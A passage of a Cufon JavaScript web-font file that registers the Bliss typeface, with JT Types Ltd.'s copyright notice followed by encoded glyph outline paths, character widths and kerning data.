3MHtv^A23MHtvCA23MHtvfrh3MHtv^Hy|m,y:ox0#8g%noH&e[LXMm,y:or^27y22m,y:ox^#1g%noH&xoryrrg%noH(:og%noH[#Cg%noH(Y6nM3MHtvRxh3MHtvRHf3MHtvXHh3MHtv^r%MLnX_F0M3MHtHoA23MHtvCHh3MHtvRr%:oeh3MHtvfH6.Eg%noH&Y>,ZMt,XR]x&2#g_-m,y:ox^2sg%noH&H6,h-m,y:ox(_XLFAol&fbV!YXV=3s1y:umtMXLF:ultMoL^3fl^,b8!3F10Y]rX>Fl%fo8%HP`6bO80xBxX>J8(bJgX.EcF,6,Mo]VyiB1(B]VMo]80-fg!>_86o]VMo],&h(,&f_rho]r&|iLX|mL^f_rgv}80>bg!>_86o]VMo],&h(,&f_rgv}80>bg!>_8}__L[_],&h(,!Rul[AR,&fJlX>Bl6Abl^2|r=_sr^P}Vt|s1&oOV}|sV0,lxM|sghbPm2|sggbsV!_.")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":185,"face":{"font-family":"Bliss","font-weight":400,"font-stretch":"normal","units-per-em":"360","panose-1":"2 0 5 6 3 0 0 2 0 4","ascent":"288","descent":"-72","x-height":"4","bbox":"-19 -303.266 324 85.2021","underline-thickness":"18","underline-position":"-36","unicode-range":"U+0020-U+00FF"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright (c) JT Types Ltd., 1996-2004. All rights reserved.
 * 
 * Trademark:
 * Bliss is a trademark of JT Types Ltd.
 * 
 * Manufacturer:
 * www.typography.net
 * 
 * Designer:
 * Jeremy Tankard
 * 
 * Vendor URL:
 * www.typography.net
 * 
 * License information:
 * http://www.typography.net/info/Licence_Agreement.pdf
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"3,0r128,-237r149,0r-11,35r-91,0r10,63r81,0r0,36r-75,0r12,68r75,0r0,35r-113,0r-10,-59r-79,0r-32,59r-44,0xm99,-95r53,0r-13,-83v-11,27,-28,56,-40,83","w":301},{"d":"159,-75v-2,46,56,56,90,33r13,30v-36,24,-102,22,-126,-12v-32,43,-124,38,-124,-27v0,-50,50,-57,104,-54v6,-47,-51,-42,-80,-25r-14,-28v36,-22,99,-26,119,9v47,-57,141,-13,126,74r-108,0xm87,-75v-42,-6,-40,47,-6,45v16,0,29,-7,41,-19v-3,-7,-5,-16,-5,-26r-30,0xm224,-105v3,-31,-37,-50,-56,-26v-6,7,-9,15,-9,26r65,0","w":280,"k":{"\"":5,"'":5}},{"d":"117,-16v-34,37,-105,19,-105,-35v0,-46,50,-59,102,-57v5,-43,-50,-39,-78,-22r-14,-28v47,-29,142,-24,135,45r0,69v0,21,1,36,3,44r-36,0xm91,-78v-41,-8,-48,49,-10,48v12,0,23,-5,33,-13r0,-36","k":{"\"":3,"'":3}},{"d":"22,0r0,-255r43,0r1,144r55,-59r49,0r-70,74r76,96r-50,0r-61,-79r0,79r-43,0","k":{"d":6,"o":6,"q":6,"\u00f0":6,"\u00f2":6,"\u00f3":6,"\u00f4":6,"\u00f5":6,"\u00f6":6,"c":6,"e":6,"\u00e7":6,"\u00e8":6,"\u00e9":6,"\u00ea":6,"\u00eb":6,"\u00ad":12,"\u00ab":7}},{"d":"3,0r92,-238r33,0r95,238r-46,0r-23,-59r-85,0r-22,59r-44,0xm82,-95r59,0r-29,-84xm99,-274v0,12,-10,22,-22,22v-28,0,-28,-45,0,-45v12,0,22,10,22,23xm146,-297v27,0,28,45,0,45v-12,0,-22,-10,-22,-22v0,-13,10,-23,22,-23","w":226,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":7,"v":9,"w":6,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-5,".":-5,":":-5,";":-5,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":15}},{"d":"29,0r0,-237r131,0r-12,35r-76,0r0,63r76,0r0,36r-76,0r0,68r88,0r0,35r-131,0xm39,-251r36,-52r34,0r36,52r-33,0r-20,-28r-20,28r-33,0","w":180},{"d":"3,0r92,-238r33,0r95,238r-46,0r-23,-59r-85,0r-22,59r-44,0xm82,-95r59,0r-29,-84xm55,-259v-10,-57,52,-44,77,-28v7,0,7,-6,8,-14r28,0v3,26,-7,44,-30,44v-16,5,-55,-36,-55,-2r-28,0","w":226,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":7,"v":9,"w":6,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-5,".":-5,":":-5,";":-5,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":15}},{"d":"29,0r0,-237r131,0r-12,35r-76,0r0,63r76,0r0,36r-76,0r0,68r88,0r0,35r-131,0xm78,-251r-35,-52r47,0r21,52r-33,0","w":180},{"d":"135,-24v-10,26,-53,38,-74,15v2,21,2,66,2,94r-43,0r0,-255r43,0v7,49,-21,137,31,137v53,0,28,-86,33,-137r43,0r0,115v-1,18,8,22,22,17r8,34v-24,14,-60,5,-65,-20","w":206},{"d":"3,0r63,-86r-61,-84r45,0r40,55r40,-55r45,0r-63,84r63,86r-45,0r-41,-57r-41,57r-45,0","k":{"d":5,"o":5,"q":5,"\u00f0":5,"\u00f2":5,"\u00f3":5,"\u00f4":5,"\u00f5":5,"\u00f6":5,"\"":-5,"'":-5,",":-5,".":-5,":":-5,";":-5,"c":5,"e":5,"\u00e7":5,"\u00e8":5,"\u00e9":5,"\u00ea":5,"\u00eb":5,"\u00ad":8,"\u00ab":8}},{"d":"21,-103r55,-134r35,0r55,134r-36,0r-37,-97r-36,97r-36,0","w":187},{"d":"121,-150v0,14,-11,25,-25,25v-12,0,-23,-12,-23,-25v0,-13,12,-25,23,-25v13,0,25,11,25,25xm62,11v7,34,49,21,71,1r19,27v-39,42,-138,41,-138,-24v0,-47,61,-52,71,-90v0,-5,-1,-9,-4,-14r36,-13v7,9,11,19,11,30v0,45,-59,44,-66,83","w":170,"k":{"A":5,"\u00c0":5,"\u00c1":5,"\u00c2":5,"\u00c3":5,"\u00c4":5,"\u00c5":5,"\u00c6":9,"C":8,"G":8,"O":8,"Q":8,"\u00c7":8,"\u00d2":8,"\u00d3":8,"\u00d4":8,"\u00d5":8,"\u00d6":8,"T":25,"V":27,"W":21,"X":16,"Y":25,"\u00dd":25,"J":-5,"S":7,"v":10,"w":11,"x":7,"z":4,"Z":11,"j":-6}},{"d":"123,-182v0,32,-26,55,-57,55v-32,0,-55,-23,-56,-55v-1,-32,25,-55,57,-55v31,0,56,23,56,55xm40,-182v0,16,11,28,27,28v15,0,26,-12,26,-28v0,-16,-11,-28,-26,-28v-16,0,-27,12,-27,28","w":133},{"d":"86,1r-83,-238r48,0r56,176r45,-135r-15,-41r44,0r60,176r52,-176r44,0r-80,238r-36,0r-50,-140v-14,47,-33,94,-49,140r-36,0","w":339,"k":{"A":11,"\u00c0":11,"\u00c1":11,"\u00c2":11,"\u00c3":11,"\u00c4":11,"\u00c5":11,"\u00c6":18,"C":4,"G":4,"O":4,"Q":4,"\u00c7":4,"\u00d2":4,"\u00d3":4,"\u00d4":4,"\u00d5":4,"\u00d6":4,"d":15,"o":15,"q":15,"\u00f0":15,"\u00f2":15,"\u00f3":15,"\u00f4":15,"\u00f5":15,"\u00f6":15,"\"":-5,"'":-5,",":14,".":13,"c":15,"e":15,"\u00e7":15,"\u00e8":15,"\u00e9":15,"\u00ea":15,"\u00eb":15,"\u2219":2,"a":13,"\u00e0":13,"\u00e1":13,"\u00e2":13,"\u00e3":13,"\u00e4":13,"\u00e5":13,"\u00e6":13,"g":14,"\u00ef":-18,"m":13,"n":13,"p":13,"r":13,"\u00f1":13,"\u00f8":15,"\u00bb":2,"\u00ab":2,"\u00d8":4,"\u00ec":-7,"\u00ee":-10,"s":13}},{"d":"165,-24r-24,-25v-25,17,-61,17,-86,0r-24,25r-26,-26r25,-24v-17,-25,-17,-62,-1,-87r-24,-24r25,-26r24,25v25,-18,63,-17,88,0r23,-24r26,26r-24,23v16,26,16,62,-1,87r25,24xm48,-118v0,28,23,52,50,52v27,0,50,-25,50,-52v0,-27,-23,-51,-50,-51v-27,0,-50,23,-50,51","w":196},{"d":"77,0r0,-40r-56,0r0,-27r56,0r0,-27r-56,0r0,-27r43,0r-55,-116r46,0r43,104r43,-104r47,0r-56,116r44,0r0,27r-56,0r0,27r56,0r0,27r-56,0r0,40r-43,0","w":196},{"d":"21,0r0,-170r43,0r0,170r-43,0xm-10,-191r36,-53r34,0r36,53r-33,0r-20,-29r-20,29r-33,0","w":85},{"d":"258,-118v0,66,-41,111,-100,119v15,19,45,26,72,17r10,33v-56,21,-104,-1,-137,-52v-49,-12,-84,-56,-84,-117v0,-70,49,-121,119,-121v69,0,121,52,120,121xm65,-118v0,49,26,85,73,85v48,0,74,-36,74,-85v0,-49,-26,-85,-74,-85v-46,1,-73,35,-73,85","w":276,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":13,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":1,"Z":6}},{"d":"0,47r0,-23r159,0r0,23r-159,0","w":159},{"d":"96,13r-91,-264r43,0r91,264r-43,0","w":144},{"d":"21,0r0,-170r43,0r0,170r-43,0xm31,-218v0,12,-10,22,-22,22v-12,0,-22,-9,-22,-22v0,-12,9,-23,22,-22v12,0,22,10,22,22xm99,-218v0,12,-9,23,-22,22v-12,0,-22,-10,-22,-22v0,-12,10,-22,22,-22v12,0,22,9,22,22","w":85},{"d":"-4,77r10,-33v41,20,64,-10,74,-45r-77,-169r45,0r52,121r41,-121r44,0r-65,175v-15,54,-57,99,-124,72","w":186,"k":{"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"\"":-5,"'":-5,",":10,".":8,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00f8":3}},{"d":"29,0r0,-237r43,0r0,237r-43,0xm38,-274v0,12,-10,22,-22,22v-12,0,-22,-10,-22,-22v0,-13,10,-23,22,-23v12,0,22,10,22,23xm85,-297v27,0,28,45,0,45v-12,0,-22,-10,-22,-22v0,-13,10,-23,22,-23","w":100},{"d":"84,0r0,-94r-81,-143r47,0r56,105r55,-105r47,0r-81,143r0,94r-43,0","w":210,"k":{"A":18,"\u00c0":18,"\u00c1":18,"\u00c2":18,"\u00c3":18,"\u00c4":18,"\u00c5":18,"\u00c6":27,"C":9,"G":9,"O":9,"Q":9,"\u00c7":9,"\u00d2":9,"\u00d3":9,"\u00d4":9,"\u00d5":9,"\u00d6":9,"d":23,"o":23,"q":23,"\u00f0":23,"\u00f2":23,"\u00f3":23,"\u00f4":23,"\u00f5":23,"\u00f6":23,"v":13,"w":13,"y":13,"\u00fd":13,"\u00ff":13,"\"":-5,"'":-5,",":15,".":13,"c":23,"e":23,"\u00e7":23,"\u00e8":23,"\u00e9":23,"\u00ea":23,"\u00eb":23,"\u00ad":12,"\u2219":12,"a":21,"\u00e0":21,"\u00e1":21,"\u00e2":21,"\u00e3":21,"\u00e4":21,"\u00e5":21,"\u00e6":21,"g":21,"\u00ef":-17,"m":13,"n":13,"p":13,"r":13,"\u00f1":13,"\u00f8":23,"x":9,"z":15,"\u00bb":8,"\u00ab":17,"\u00d8":9,"\u00ec":-7,"\u00ee":-6,"s":26}},{"d":"29,0r0,-237r43,0r0,237r-43,0xm-3,-251r36,-52r34,0r37,52r-34,0r-20,-28r-19,28r-34,0","w":100},{"d":"67,0r150,-237r35,0r-150,237r-35,0xm69,-97r0,-107r-42,15r-11,-27v28,-8,47,-26,87,-23r0,142r-34,0xm311,-104v0,41,-50,43,-60,75r61,0r0,29r-105,0v1,-46,35,-65,60,-87v11,-10,9,-27,-11,-26v-9,0,-20,3,-36,10r-9,-26v37,-21,100,-23,100,25","w":339},{"d":"82,0r149,-237r36,0r-150,237r-35,0xm128,-138v0,44,-67,53,-104,34r9,-26v16,9,59,13,58,-10v0,-19,-26,-16,-47,-16r0,-25v20,1,44,1,42,-17v-2,-21,-31,-14,-50,-6r-9,-25v37,-17,94,-18,96,25v1,16,-10,26,-24,34v17,3,28,14,29,32xm193,-30r0,-21r69,-91r32,0r0,87r20,0r0,25r-20,0r0,30r-33,0r0,-30r-68,0xm229,-55r32,0r1,-45","w":339},{"d":"99,1r-96,-238r47,0r67,177r67,-177r47,0r-97,238r-35,0","w":233,"k":{"A":14,"\u00c0":14,"\u00c1":14,"\u00c2":14,"\u00c3":14,"\u00c4":14,"\u00c5":14,"\u00c6":22,"C":7,"G":7,"O":7,"Q":7,"\u00c7":7,"\u00d2":7,"\u00d3":7,"\u00d4":7,"\u00d5":7,"\u00d6":7,"d":15,"o":15,"q":15,"\u00f0":15,"\u00f2":15,"\u00f3":15,"\u00f4":15,"\u00f5":15,"\u00f6":15,"\"":-5,"'":-5,",":20,".":16,"c":15,"e":15,"\u00e7":15,"\u00e8":15,"\u00e9":15,"\u00ea":15,"\u00eb":15,"\u00ad":7,"\u2219":7,"a":16,"\u00e0":16,"\u00e1":16,"\u00e2":16,"\u00e3":16,"\u00e4":16,"\u00e5":16,"\u00e6":16,"g":15,"\u00ef":-21,"m":13,"n":13,"p":13,"r":13,"\u00f1":13,"\u00f8":15,"\u00bb":2,"\u00ab":11,"\u00d8":7,"\u00ec":-7,"\u00ee":-7,"s":17}},{"d":"57,-99v59,13,-8,147,59,143r-8,38v-75,3,-66,-70,-65,-141v0,-18,-8,-24,-23,-25r0,-29v53,-7,-1,-111,38,-147v11,-10,26,-17,50,-18r8,38v-67,-4,1,130,-59,141","w":130,"k":{"J":-11,"y":-4,"\u00fd":-4,"\u00ff":-4,"j":-12}},{"d":"29,0r0,-237r43,0r0,237r-43,0xm27,-251r21,-52r47,0r-35,52r-33,0","w":100},{"d":"111,-84v-65,12,29,171,-88,166r-8,-38v66,3,-2,-130,59,-143v-37,-2,-27,-68,-28,-109v0,-22,-10,-30,-31,-32r8,-38v75,-4,64,70,64,140v0,17,8,25,24,25r0,29","w":130},{"d":"74,0r149,-237r35,0r-149,237r-35,0xm75,-97r0,-107r-42,15r-11,-27v28,-8,47,-26,86,-23r0,142r-33,0xm188,-30r0,-21r69,-91r32,0r0,87r19,0r0,25r-19,0r0,30r-33,0r0,-30r-68,0xm223,-55r33,0r1,-45","w":339},{"d":"64,1r-61,-171r43,0r37,115r36,-115r33,0r38,115r36,-115r42,0r-63,171r-31,0r-39,-115r-38,115r-33,0","w":269,"k":{"\"":-5,"'":-5,",":12,".":11}},{"d":"228,-202v68,72,18,206,-89,206v-24,0,-46,-6,-64,-18r-20,26r-27,-20r21,-26v-64,-74,-16,-205,90,-205v23,0,44,6,62,17r21,-27r27,20xm99,-44v52,34,115,-9,115,-74v0,-20,-5,-36,-13,-50xm178,-192v-53,-31,-113,8,-113,74v0,19,4,36,11,49","w":279,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":13,",":2,".":2}},{"d":"29,0r0,-237r131,0r-11,35r-77,0r0,63r76,0r0,36r-76,0r0,68r89,0r0,35r-132,0xm81,-274v0,12,-10,22,-22,22v-28,0,-28,-45,0,-45v12,0,22,10,22,23xm128,-297v27,0,28,45,0,45v-12,0,-22,-10,-22,-22v0,-13,10,-23,22,-23","w":180},{"d":"144,-16r0,-72r-130,0r0,-36r170,0r0,108r-40,0","w":198},{"d":"135,-24v-10,26,-53,38,-74,15v2,21,2,66,2,94r-43,0r0,-255r43,0v7,49,-21,137,31,137v53,0,28,-86,33,-137r43,0r0,115v-1,18,8,22,22,17r8,34v-24,14,-60,5,-65,-20","w":206},{"d":"-4,77r10,-33v41,20,64,-10,74,-45r-77,-169r45,0r52,121r41,-121r44,0r-65,175v-15,54,-57,99,-124,72xm84,-218v0,12,-9,22,-22,22v-12,0,-22,-9,-22,-22v0,-12,9,-22,22,-22v12,0,22,9,22,22xm153,-218v0,12,-10,22,-22,22v-12,0,-22,-9,-22,-22v0,-12,9,-23,22,-22v12,0,22,10,22,22","w":186,"k":{"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"\"":-5,"'":-5,",":10,".":8,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00f8":3}},{"d":"14,-58r0,-29r117,-152r31,0r0,146r36,0r0,35r-36,0r0,58r-42,0r0,-58r-106,0xm62,-93r58,0r2,-81","w":211,"k":{"\"":12,"'":12}},{"d":"258,-118v0,68,-50,122,-119,122v-69,0,-120,-54,-120,-122v0,-68,52,-121,120,-121v68,0,119,53,119,121xm44,-118v0,56,40,100,95,100v54,0,94,-45,94,-100v0,-55,-40,-99,-94,-99v-54,0,-95,44,-95,99xm100,-117v0,42,42,62,75,40r9,20v-49,31,-110,-1,-110,-59v0,-55,55,-91,105,-66r0,25v-34,-23,-79,-5,-79,40","w":277},{"d":"56,-73v-1,44,58,54,91,31r13,30v-61,39,-147,6,-147,-73v0,-50,28,-90,76,-90v54,1,79,43,76,102r-109,0xm121,-103v3,-33,-36,-52,-57,-28v-6,7,-9,17,-9,28r66,0","k":{"\"":5,"'":5}},{"d":"24,85r0,-363r77,0r0,32r-36,0r0,298r36,0r0,33r-77,0","w":109,"k":{"J":-14,"y":-11,"\u00fd":-11,"\u00ff":-11,"g":-5,"j":-23}},{"d":"189,-152v0,48,-39,87,-86,87v-49,0,-86,-38,-86,-87v0,-49,36,-87,86,-87v48,0,86,38,86,87xm36,-152v0,38,28,70,67,70v38,0,67,-32,67,-70v0,-39,-29,-70,-67,-70v-39,0,-67,31,-67,70xm119,-107v-11,-16,-18,-42,-28,-38r0,38r-18,0r0,-94v29,-1,61,-1,61,26v0,16,-12,21,-22,26v4,2,13,16,28,42r-21,0xm115,-173v0,-12,-10,-14,-24,-13r0,27v14,1,24,-2,24,-14","w":206},{"d":"131,-99v3,-46,-43,-46,-68,-20r0,119r-43,0r0,-170r37,0r4,19v42,-40,113,-31,113,38r0,113r-43,0r0,-99xm149,-239v10,58,-51,43,-77,28v-7,0,-7,6,-8,14r-28,0v-3,-26,7,-42,30,-44v12,-1,39,16,47,16v8,0,8,-5,8,-14r28,0","w":193,"k":{"v":1,"w":1,"y":3,"\u00fd":3,"\u00ff":3,"\"":2,"'":2}},{"d":"57,-218v0,12,-10,22,-22,22v-12,0,-22,-9,-22,-22v0,-12,9,-23,22,-22v12,0,22,10,22,22xm125,-218v0,12,-9,23,-22,22v-12,0,-22,-10,-22,-22v0,-12,10,-22,22,-22v12,0,22,9,22,22","w":138},{"d":"63,-145r0,-107r-41,16r-12,-27v28,-9,47,-27,87,-24r0,142r-34,0","w":125},{"d":"19,-155v0,-48,37,-82,85,-82r94,0r0,295r-34,0r0,-268r-34,0r0,268r-34,0r0,-131v-44,-3,-77,-35,-77,-82","w":227},{"d":"112,-249v0,41,-48,44,-60,75r61,0r0,29r-105,0v0,-54,47,-66,67,-99v-5,-22,-32,-14,-54,-4r-9,-26v37,-19,100,-22,100,25","w":125},{"d":"111,-303v42,-5,59,56,18,68r94,235r-46,0r-23,-59r-85,0r-22,59r-44,0r91,-235v-44,-13,-25,-72,17,-68xm82,-95r59,0r-29,-84xm96,-268v0,10,7,17,15,17v9,0,15,-7,15,-17v0,-11,-5,-16,-15,-16v-9,0,-15,6,-15,16","w":226,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":7,"v":9,"w":6,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-5,".":-5,":":-5,";":-5,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":15}},{"d":"258,-118v0,71,-50,122,-120,122v-70,0,-119,-51,-119,-122v0,-70,49,-121,119,-121v69,0,120,52,120,121xm65,-118v0,49,26,85,73,85v48,0,74,-36,74,-85v0,-49,-26,-85,-74,-85v-46,1,-73,35,-73,85","w":276,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":13,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":1,"Z":6}},{"d":"108,44v1,32,-47,37,-78,28r6,-19v12,3,37,5,35,-9v-1,-12,-13,-12,-29,-12r9,-32r32,0r-5,18v20,2,30,10,30,26","w":138},{"d":"117,-16v-34,37,-105,19,-105,-35v0,-46,50,-59,102,-57v5,-43,-50,-39,-78,-22r-14,-28v47,-29,142,-24,135,45r0,69v0,21,1,36,3,44r-36,0xm91,-78v-41,-8,-48,49,-10,48v12,0,23,-5,33,-13r0,-36xm78,-191r-35,-53r47,0r21,53r-33,0","k":{"\"":3,"'":3}},{"d":"66,-22v0,13,-12,25,-24,25v-13,0,-24,-12,-24,-25v0,-13,11,-24,24,-24v12,0,24,11,24,24","w":85,"k":{"A":-5,"\u00c0":-5,"\u00c1":-5,"\u00c2":-5,"\u00c3":-5,"\u00c4":-5,"\u00c5":-5,"\u00c6":-5,"C":1,"G":1,"O":1,"Q":1,"\u00c7":1,"\u00d2":1,"\u00d3":1,"\u00d4":1,"\u00d5":1,"\u00d6":1,"T":17,"V":16,"W":13,"X":-5,"Y":13,"\u00dd":13,"v":10,"w":11,"y":11,"\u00fd":11,"\u00ff":11,"\"":7,"'":7,"x":-5,"\u00ab":8,"1":41}},{"d":"171,-76v4,74,-96,98,-159,67r12,-34v36,18,101,15,101,-31v0,-42,-49,-38,-95,-38r0,-125r142,0r-9,35r-91,0r0,55v58,-2,97,19,99,71","w":190,"k":{"1":2}},{"d":"101,-220v-26,0,-39,16,-38,44r0,227r-43,0r0,-222v-1,-55,30,-84,80,-84v52,0,85,34,81,93v-22,5,-33,13,-33,25v9,36,61,36,61,85v0,60,-85,68,-125,40r13,-31v20,14,68,22,70,-7v-7,-36,-63,-38,-62,-81v0,-22,11,-36,34,-46v0,-25,-13,-43,-38,-43","w":221,"k":{"\"":11,"'":11}},{"d":"131,-157v0,35,-24,62,-60,62v-36,0,-61,-27,-61,-62v0,-35,25,-63,61,-63v35,0,60,28,60,63xm43,-157v0,18,11,35,28,35v17,0,27,-17,27,-35v0,-19,-9,-36,-27,-36v-18,0,-28,18,-28,36","w":141},{"d":"145,-124v78,30,42,128,-43,128v-49,0,-84,-23,-85,-66v-1,-31,22,-49,42,-61v-67,-32,-28,-124,46,-116v73,-8,105,87,40,115xm63,-67v0,24,18,35,41,37v36,4,56,-46,22,-62v-13,-7,-17,-10,-34,-13v-14,5,-29,20,-29,38xm102,-206v-30,0,-44,37,-21,53v7,6,17,10,30,14v36,-13,32,-67,-9,-67","w":206},{"d":"109,-185v0,45,-67,51,-104,33r9,-25v17,9,58,13,58,-11v0,-19,-27,-14,-46,-15r0,-25v19,1,42,0,42,-17v0,-22,-32,-14,-51,-6r-8,-26v37,-16,93,-17,95,26v1,16,-9,25,-23,33v17,3,28,14,28,33","w":125},{"d":"63,-170v7,48,-21,137,29,137v14,0,26,-5,35,-15r0,-122r43,0r0,128v0,21,1,35,3,42r-37,0r-6,-18v-41,41,-110,22,-110,-48r0,-104r43,0xm42,-191r36,-53r35,0r36,53r-33,0r-20,-29r-20,29r-34,0","w":192},{"d":"29,0r0,-237r43,0r101,129v12,14,18,28,27,37r-1,-166r44,0r0,237r-40,0r-132,-171r1,171r-43,0xm191,-301v10,58,-51,43,-77,28v-7,1,-7,5,-7,14r-29,0v-3,-26,7,-42,30,-44v12,-1,39,16,47,16v8,0,8,-5,8,-14r28,0","w":271},{"d":"117,-16v-34,37,-105,19,-105,-35v0,-46,50,-59,102,-57v5,-43,-50,-39,-78,-22r-14,-28v47,-29,142,-24,135,45r0,69v0,21,1,36,3,44r-36,0xm91,-78v-41,-8,-48,49,-10,48v12,0,23,-5,33,-13r0,-36xm145,-239v10,58,-51,43,-77,28v-7,0,-7,6,-8,14r-28,0v-3,-26,7,-42,30,-44v12,-1,39,16,47,16v8,0,8,-5,8,-14r28,0","w":178,"k":{"\"":3,"'":3}},{"d":"47,-191r21,-53r47,0r-35,53r-33,0","w":138},{"d":"63,-170v7,48,-21,137,29,137v14,0,26,-5,35,-15r0,-122r43,0r0,128v0,21,1,35,3,42r-37,0r-6,-18v-41,41,-110,22,-110,-48r0,-104r43,0xm84,-218v0,12,-10,22,-22,22v-12,0,-22,-9,-22,-22v0,-12,9,-23,22,-22v12,0,22,10,22,22xm152,-218v0,12,-9,23,-22,22v-12,0,-22,-10,-22,-22v0,-12,10,-22,22,-22v12,0,22,9,22,22","w":192},{"d":"224,-89v0,64,-36,93,-99,93v-64,0,-98,-29,-98,-93r0,-148r43,0v8,78,-30,204,55,204v86,0,46,-127,55,-204r44,0r0,148xm114,-274v0,12,-10,22,-22,22v-28,0,-28,-45,0,-45v12,0,22,10,22,23xm161,-297v27,0,28,45,0,45v-12,0,-22,-10,-22,-22v0,-13,10,-23,22,-23","w":250,"k":{"\u00c6":8}},{"w":77,"k":{"A":12,"\u00c0":12,"\u00c1":12,"\u00c2":12,"\u00c3":12,"\u00c4":12,"\u00c5":12,"\u00c6":17,"C":10,"G":10,"O":10,"Q":10,"\u00c7":10,"\u00d2":10,"\u00d3":10,"\u00d4":10,"\u00d5":10,"\u00d6":10,"T":19,"V":21,"W":14,"X":11,"Y":13,"\u00dd":13,"J":10,"S":9,"U":10,"\u00d9":10,"\u00da":10,"\u00db":10,"\u00dc":10,"f":8,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"t":7,"v":8,"w":4,"y":7,"\u00fd":7,"\u00ff":7}},{"d":"21,0r0,-170r43,0r0,170r-43,0xm32,-191r-35,-53r47,0r21,53r-33,0","w":85},{"d":"183,-86v0,50,-36,90,-85,90v-49,0,-85,-39,-85,-90v0,-51,36,-89,85,-89v49,0,85,39,85,89xm57,-86v0,30,13,55,41,55v28,0,41,-26,41,-55v0,-29,-13,-54,-41,-54v-28,0,-41,24,-41,54xm44,-191r36,-53r34,0r37,53r-34,0r-20,-29r-19,29r-34,0","w":195,"k":{"v":3,"y":6,"\u00fd":6,"\u00ff":6,"\"":7,"'":7,",":1,"x":5,"z":5}},{"d":"29,0r0,-237r131,0r-12,35r-76,0r0,63r76,0r0,36r-76,0r0,68r88,0r0,35r-131,0","w":180},{"d":"21,0r0,-170r43,0r0,170r-43,0xm21,-191r21,-53r47,0r-35,53r-33,0","w":85},{"d":"63,-170v7,48,-21,137,29,137v14,0,26,-5,35,-15r0,-122r43,0r0,128v0,21,1,35,3,42r-37,0r-6,-18v-41,41,-110,22,-110,-48r0,-104r43,0xm84,-191r-35,-53r47,0r21,53r-33,0","w":192},{"d":"82,-174v1,-27,-36,-20,-53,-11r-12,-22v33,-22,98,-19,98,32v0,24,-2,60,3,78r-28,0r-4,-11v-25,25,-77,13,-75,-26v1,-33,32,-43,71,-40xm67,-150v-29,-3,-27,30,-5,29v7,0,14,-3,20,-8r0,-22","w":132},{"d":"111,-239v38,0,69,19,69,54v0,24,-16,44,-48,61v14,16,31,33,50,51v14,-15,24,-33,30,-52r36,9v-9,27,-21,50,-38,67v17,14,27,19,47,16r8,31v-34,10,-58,0,-86,-22v-49,46,-161,36,-160,-42v0,-29,17,-51,50,-66v-14,-16,-27,-27,-27,-54v0,-33,32,-53,69,-53xm92,-107v-43,17,-33,77,13,76v16,0,31,-6,45,-17v-20,-18,-39,-37,-58,-59xm111,-208v-37,3,-28,38,-3,58v19,-10,29,-22,29,-36v-1,-13,-10,-23,-26,-22","w":274},{"d":"90,-172v26,0,44,14,57,26v-6,-26,-21,-46,-42,-58r-49,23r-9,-20r31,-13v-10,-4,-24,-6,-43,-6r7,-35v31,1,58,8,78,20r42,-20r10,20r-33,14v64,49,65,225,-43,225v-48,0,-83,-38,-83,-87v0,-51,28,-89,77,-89xm57,-84v0,30,13,53,41,53v28,0,41,-23,41,-53v-1,-29,-14,-54,-42,-54v-28,0,-41,25,-40,54","w":199},{"d":"10,44v15,-27,19,-48,14,-80r40,-6v7,41,-4,69,-29,98","w":85,"k":{"A":-6,"\u00c0":-6,"\u00c1":-6,"\u00c2":-6,"\u00c3":-6,"\u00c4":-6,"\u00c5":-6,"\u00c6":-5,"T":19,"V":20,"W":14,"X":-5,"Y":17,"\u00dd":17,"J":-5,"v":11,"w":12,"y":4,"\u00fd":4,"\u00ff":4,"\"":7,"'":7,"x":-5,"\u00ab":8,"Z":-5,"1":29}},{"d":"23,-171r-4,-84r40,0r-4,84